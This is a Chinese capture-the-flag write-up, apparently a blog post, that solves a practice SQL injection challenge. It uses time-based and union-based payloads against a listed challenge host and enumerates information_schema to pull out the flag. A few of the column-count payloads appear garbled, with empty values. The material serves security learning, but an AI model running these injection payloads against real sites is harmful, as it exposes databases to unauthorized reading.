前言
第一次看到中繼資料在sql注入的應用好像是在《web安全深度剖析》,鑒于經驗缺乏,隻是知道有這麼個東西,不知道怎麼應用。今天遇到一道和中繼資料相關的SQL注入題目,是以記錄下來。
擷取中繼資料
//擷取所有的庫名稱:
select SCHEMA_NAME from information_schema.SCHEMATA
//擷取某一庫中所有表的名稱:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='此處為庫名'
//擷取某一表的所有字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='此處為表名'
題目分析
題目位址:http://120.24.86.145:8002/chengjidan/
第一步測試
出于習慣,在輸入框送出以下資訊:
’(單引号)
—無反應
1-3 三個數字
—顯示三個人的成績
1' and sleep(3) -- s
—延時傳回,結果與隻輸入1相同(這裡引号應該閉合成功了,and sleep(3) 可替換為其他合法語句)
' or 1=1 -- s
—與隻輸入1相同(這裡猜測其實查詢出了多條記錄,但是頁面隻顯示第一條)
' or 1=1 order by id DESC -- s
—與隻輸入3相同(到這裡可以大概判斷出:該表中共有3條記錄,且頁面隻顯示每次查詢的第一條記錄,與上面的猜測吻合)
進一步猜測查詢語句結構
為了友善後續使用union查詢,我們需要進一步判斷目前查詢語句查詢了幾個字段。
' union select ,, -- s
' union select ,,, -- s
' union select ,,,, -- s
執行上述語句後隻有第二個正常傳回結果,是以查詢語句應該查詢了4個字段。
尋找flag在資料庫中的位置
這裡就是用到中繼資料的地方了。其實根據上面的測試,我們已經找到了能夠執行語句的地方。
首先查詢資料庫:
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA
構造如下語句:
-1' union select 1,2,3,(SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA) -- s
(group_concat為了使得多個記錄顯示在一起)。
可查詢出flag所在資料庫:skctf_flag
再查詢skctf_flag中有哪些表:
-1' union SELECT 1,2,3,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='skctf_flag') -- s
可知flag應該在fl4g表中。
再查詢表中列:
-1' union select 1,2,3,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='fl4g') -- s
列為skctf_flag。
最後查詢flag:
-1' union select 1,2,3,(select skctf_flag from fl4g) -- s
結束。